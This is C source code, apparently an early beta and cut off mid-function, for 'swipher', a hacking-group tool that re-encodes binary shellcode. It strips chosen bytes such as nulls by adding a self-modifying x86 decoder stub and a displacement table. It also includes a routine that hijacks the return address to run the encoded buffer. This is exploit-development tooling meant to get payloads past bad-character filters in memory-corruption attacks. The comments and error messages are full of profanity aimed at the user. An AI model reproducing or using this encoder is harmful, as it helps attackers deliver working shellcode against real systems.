/* * [swipher.c v0.1 - by PoWeR_PoRK of netric (http://www.netric.org)] * "de null-char verdwijnt, waar swipher verschijnt!" * * compile with: "gcc swipher.c -o swipher -lm" * * this is a beta release that might not work properly because I'm * well... the embodyment of chaos itself. It is tested somewhat * on linux and i think it might even work on *bsd but i'll test * that later since it working on linux alone is reason enough for * a quick pre-release. full release will be later with some other * fancy stuff thrown in (or not, i might just drop this project * like a brick) * * cat like utility for removing certain(any!, well... except for the * ones in the algorithm) chars from shellcode by adding a displacement * table and an algorithm to dynamically alter existing shellcode * (and it's own displacement table if necessary) on the stack when run. * * (btw: this is swear-ware, it's free but takes it's toll by verbally * abusing the user whenever an error occurs) * (+ if you don't like it... YOU CAN KISS MY ASS!!!) * */ #include #include #define BT_NO_TABLE -1 #define ENC_SUCCESFUL 1 #define ENC_NOT_NEEDED 2 #define ENC_DT_TOO_BIG 3 #define CH_OK -1 #define CH_BAD 1 void ShellcodeExec(void * shellcode); void * getstdin(unsigned long * cc); int encode(void * pbuf, int * spbuf, void * badchar, int ic, void * dtable, int * sdt); int chbuf(void * mbuffy, int tbsize, void * badchar, int ic); unsigned char h2c(char * hchars); int main(int argc, char ** argv[]) { /* 01 02 0A 31 39 42 46 56 5E 74 88 8A 8D C0 C9 CE DA E8 EB FB FE FF are not to be removed */ char algo[] = /* null bytes in this code are just padding, not in the actual code */ "\xeb\x00" /* [1], jmp short $+32+descsize */ "\x5e" "\x8d\x56\x00" /* [5], lea edx, [esi-5-descsize] */ "\x8d\x5e\xfb" "\x31\xc9\x8a\x0a\x01\xce" "\x8a\x46\x00" /* [17], mov al, [esi-descsize-5] */ "\xfe\xc0" "\x88\x46\x00" /* [22], mov [esi-descsize-5], al */ "\x42\x39\xda\x74\x02\xeb\xeb" "\xeb\x00"; /* [31], jmp short $+descsize+7 */ char algostub[] = "\xe8\x00\xff\xff\xff"; // 40 /* [37], call near $-(30+descsize) */ char dtable[256], badchar[256]; FILE *blaat; int mbuffy, c=0, oc=0,tc=1,f=0,tc2=1, bc=0, dc=0, bsize=0, ic=0, bs=0, pbuf=0, sdt=0, ccs=0; unsigned long fs=0, cc=0, tbsize=0; /* c = counter for whatever needs to be encoded oc = offset counter in whatever needs encoding tc = table counter, keeps track of place in table tc2 = counter for the second table that will hold modifications of the first one f = flag for keepin track of first encounters bc = counter for badchar that is currently checked ic = input counter for chars from process parameter bs = buffer size for pipe buffer of unmodified shellcode fs = file size stub pbuf = pointer to stdin buffer cc = size of stdin buffer sdt = size of descriptor table */ unsigned int dtsize; char usage[] = "Usage: swipher [-h][-c ...]\n" "pipe driven utility for re-encoding binary shellcode eliminating\n" "arbitrary characters (like 0-bytes).\n" "\n" "-h displays this screen and exits\n" "-c sets charcodes to filter out (in hex)\n" "\n" "Example: cat shellcode.bin | ./swipher -c 0 1f | cdump > test0.c\n" "This will reencode the shellcode that is fed in binary\n" "and pipe it to cdump that will make a char declaration\n" "of the re-encoded binary from swipher\n" "\n" "[swipher v0.1 was written by PoWeR_PoRK of netric]\n" " contact: powerpork@zonnet.nl || powerpork@netric.org\n" " site: http://www.netric.org\n"; if((argc<2)||(!strncmp(argv[1], "-h", 2))){ printf("%s", &usage); exit(0); }else if(!strncmp(argv[1], "-c", 2)){ if(argc<3){ // "swipher -c" printf("ERROR: Caffeine level too low (you forgot the chars brainiac!)\n"); exit(0); }else if(1){ ic = 3;// first # after -c while((ic <= argc) && (ic < 512)){ if(h2c((char *)argv[ic-1])>255){ printf("ERROR: char in param out of range... you skanky bitch!\n"); exit(0); } ((char)badchar[ic-3]) = h2c((char*)argv[ic-1]); //printf("h2c=%x\n",h2c((char*)argv[ic-1])); ic++; } ic=ic-3; } } (void *)pbuf = getstdin(&cc); ccs=cc; if(encode((void *)pbuf, &ccs, &badchar, ic, &dtable, &sdt)==ENC_DT_TOO_BIG){ printf("ERROR: Descriptor table to large (254 chars max)... " "wtf? you trying to kill me? Well... f*ck you too!\n"); exit(0); } if(encode((void *)pbuf, &ccs, &badchar, ic, &dtable, &sdt)==ENC_DT_TOO_BIG){ printf("ERROR: Descriptor table to large (254 chars max)... " "wtf? you trying to kill me? Well... f*ck you too!\n"); exit(0); } /* re-encoding offsets into algoritm code */ sdt--; algo[1] = (30+sdt); algo[5] = (-5-sdt); algo[17] = (-5-sdt); algo[22] = (-5-sdt); algo[31] = (sdt+5); algostub[1] = (-35-sdt); sdt++; /* putting together the actual code buffer that is to be written */ mbuffy = malloc(sizeof(algo)+sdt+sizeof(algostub)+cc-2); memcpy((void *)mbuffy, &algo, sizeof(algo)-1); memcpy((void *)(mbuffy+sizeof(algo)-1), &dtable, (sdt)); memcpy((void *)(mbuffy+sizeof(algo)-1+sdt-1), &algostub, (sizeof(algostub)-1)); memcpy((void *)(mbuffy+sizeof(algo)-1+sdt-1+sizeof(algostub)-1), (void *)pbuf, cc+4); /* final check if we didn't screw up or if the user has put in a char that is in the static algoritm code */ tbsize=(sizeof(algo)-1+sdt+sizeof(algostub)-1+cc-1); if(chbuf((void*)mbuffy, tbsize, (char*)&badchar, ic)!=CH_OK) { printf("Error: Cannot eliminate bad chars from code, " "one or more are either in the algorythm or " "the second descriptor table.(you're either " "having a really shitty day or you should RTFM(!!!))\n"); exit(0); } fwrite((void*)mbuffy, tbsize, 1, stdout); //ShellcodeExec((void*)mbuffy); return 0; } void ShellcodeExec(void * shellcode) { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; return; /* i hate warnings */ } void * getstdin(unsigned long * cc) { int pbuf=0, fs=0; *cc = 0; (void *)pbuf = malloc(2048); while(feof(stdin)==0){ fs = fread((void *)(pbuf+*cc), 1, 1024, stdin); (void *)(pbuf) = realloc(pbuf, (*cc+2048)); *cc = *cc+fs; } return (void *)pbuf; } int encode(void * pbuf, int * spbuf, void * badchar, int ic, void * dtable, int * sdt) { int c=0, bc=0, tc=0, f=0, oc=0, odt=0; if(*sdt!=0){ ((void *)odt) = malloc(*sdt); memcpy(((void *)odt), dtable,((int)*sdt)); ((void*)pbuf)=((void*)odt); (*spbuf)=ic; } for(c=0;c<(*spbuf);c++){ for(bc=0;bc<=(ic-1);bc++){ if(((*sdt)+tc) > 254){ return ENC_DT_TOO_BIG; }else if((unsigned char)((char *)pbuf)[c] == (unsigned char)((char *)badchar)[bc] && f == 0){ ((char *)pbuf)[c]--; //on first found badchar ((char *)dtable)[0] = oc; tc++; f=1; bc=0; oc=0; }else if(((unsigned char)((char *)pbuf)[c] == (unsigned char)((char *)badchar)[bc]) && f == 1){ ((char *)pbuf)[c]--; //on every next badchar encountered ((char *)dtable)[tc] = oc; tc++; bc=0; oc=0; } } oc++; } if(*sdt==0){ ((char *)dtable)[0] = 5+tc+((char *)dtable)[0]; (*sdt) = tc+1; }else{ ((char *)dtable)[0] = tc+((char *)dtable)[0]; memcpy(((void *)dtable+tc),((void *)odt), ((int)*sdt)); oc=0; for(c=0;c